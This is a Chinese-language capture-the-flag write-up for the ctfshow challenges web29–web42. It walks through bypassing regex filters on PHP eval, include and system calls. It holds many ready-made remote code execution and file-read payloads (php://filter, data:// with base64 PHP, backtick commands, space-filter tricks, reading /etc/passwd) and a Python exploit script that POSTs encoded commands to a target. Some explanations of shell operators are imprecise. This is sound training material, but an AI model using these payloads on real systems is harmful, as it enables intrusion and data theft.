web29-web42
1、web29
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
(1)通配符
Linux系统中的常用通配符:
- *:代表任意字符0个或多个
- ?:代表任意字符1个
- [abcd]:匹配其中任意一个字符
- [a-z]:匹配范围a-z
payload:?c=system('cat f*');
查看源码即可
(2)eval()
函数
eval():需要被执行的字符串
代码不能包含打开/关闭PHP tags,但依旧可以用合适的PHP tags来离开重新进入PHP模式
查看文件:?c=echo '';?><?php system('ls');
查看到有flag.php文件后,用include结合伪协议包含读取
伪协议php://filter
PHP中特有的协议流,数据流打开时的筛选过滤应用
resource=<要过滤的数据流>
read=<读链的筛选列表>
write=<写链的筛选列表>
<;两个链的筛选列表>:没有read或write做筛选器会视情况应用于读或写链
require():文件不存在时会提示错误并终止脚本
include():所包含文件不存在时,产生警告但脚本会继续运行
include_once() require_once():如果文件已经被包含过不会再包含
如果取得include里面的变量值,需要在include引用的文件里加上return
payload:
?c=echo "flag"?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php
2、web30
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了flag、system、php
(1)反引号
system() :执行并回显
passthru() :执行并回显
shell_exec() :执行
exec() :执行,以数组的形式保存结果
popen() :打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生
proc_open() :执行,打开用于输入/输出的文件指针
shell_exec() :执行,相当于反撇号
ob_start() :打开缓冲区,需要system函数开启
payload:
?c=echo `cat f*`;
(2)include+伪协议
payload:
?c=echo "result:";include($_GET['url'])?>&url=php://filter/read=convert.base64-encode/resource=flag.php
3、web31
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
(1)绕过
- 空格过滤
%09 //需要php环境
{cat,flag.txt} //用逗号实现了空格
${IFS} //cat${IFS}1.txt
$IFS$9 //cat$IPS91.txt
< <>重定向符 //cat<flag.txt //cat<>flag.txt
\x20 %20 //空格
- cat过滤
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
payload:
?c=echo(`tac\x20f*`);
?c=echo(`tac%09f*`);
?c=echo(`more%09f*`);
?c=echo(`tail%09f*`);
?c=echo(`less%09f*`);
(2)include+伪协议:
payload:
?c=echo%09"result:";include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
4、web32
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
此处过滤了分号,括号等
- 无需括号函数
echo 123;
print 123;
die; //输出一条消息并退出当前脚本
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
include+伪协议:
payload:
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
5、web33
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了引号,用数组作为参数绕过
include+伪协议:
payload:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_POST[url]?>
url=php://filter/read=convert.base64-encode/resource=flag.php
6、web34
题目:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
题目过滤了flag system php cat sort shell 点 引号 反引号 echo 分号 括号 冒号
include+伪协议:
payload:
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
7、web35
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比上题多过滤了<
include+伪协议:
payload:
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
8、web36
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了数字
include+伪协议:
payload:
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
9、web37
题目:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag并且使用了include文件包含,也就是说在输入参数c的时候如果我们输入了flag.php则包含后我们就可以echo flag
data+伪协议:
data:// 可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://text/plain;base64,xxxx
data://text/plain,指令
(1)通配符绕过
payload:
?c=data://text/plain,<?php echo system('cat fl\*');?>
(2)base64绕过
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64加密的是:
<?php system('cat flag.php');?>
10、web38
题目:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag、PHP、file,原理同上
data+伪协议:
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
11、web39
题目:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了flag并且在文件包含C时限制了PHP后缀
(1)php://input:
php://input:可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分
使用环境:请求方式:POST;enctype不为"multipart/form-data"
这里为GET请求所以无法使用此伪协议
(2)data://text/plain:
payload:
?c=data://text/plain,<?php echo system('cat fl*');?>
12、web40
题目:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了数字,引号,冒号,美元符号等,考虑构造无参数函数进行文件读取,正则过滤的括号是中文的括号
无参数函数:
print_r(scandir('.')) :查看当前目录所有文件名
因为要构造无参数函数所以要去掉这个点
localeconv() 函数返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse():数组逆序
scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。
最终可构造:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));
首先查看当前目录下的所有文件名
?c=print_r(scandir(current(localeconv())));
发现flag.php在倒数第二个数组,我们可以将数组逆序再将指针调整到下一个即可
?c=print_r(next(array_reverse(scandir(current(localeconv())))));
此时再读取flag.php即可
highlight_file(filename,true) :对文件进行语法高亮显示,若设置true则不会输出代码
show_source() :highlight_file()的别名
payload:
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
13、web41(不明白)
大佬博客
题目:
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
POST传入的参数先过滤再通过echo输出,再用eval执行
此题的过滤使得我们无法使用异或自增和取反构造字符,但是或运算符|
未过滤
可以尝试从ASCII为0-255的字符中,找到或运算能得到可用字符的字符
或运算绕过:
生成可用字符的集合:
从进行异或的字符中排除被过滤的,再判断异或得到的字符是否为可见字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="http://679ebc80-27fd-4a0d-99e6-54bca8c10b7e.challenge.ctf.show/";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
生成的rce_or.txt文件即为
传递参数python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
python模块安装
C:\Users\HUAWEI\AppData\Local\Programs\Python\Python37\Scripts
λ pip install requests
14、web42
题目:
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
shell脚本>/dev/null 2>&1
大致意思为不进行回显
> :代表重定向到哪里 echo"123">/home/123.txt
1 : stdout标准输出,系统默认值为1,即>/dev/null==1>/dev/null
2 : stderr标准错误
& : 等同于的意思,2>&1,2的输出重定向等同于1
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
让命令回显,进行命令分隔即可:
; :分号
| :只执行后面那条命令
|| :只执行前面那条命令
& :两条命令都会执行
&& :两条命令都会执行
payload:**?c=cat flag.php;**
**?c=cat flag.php||**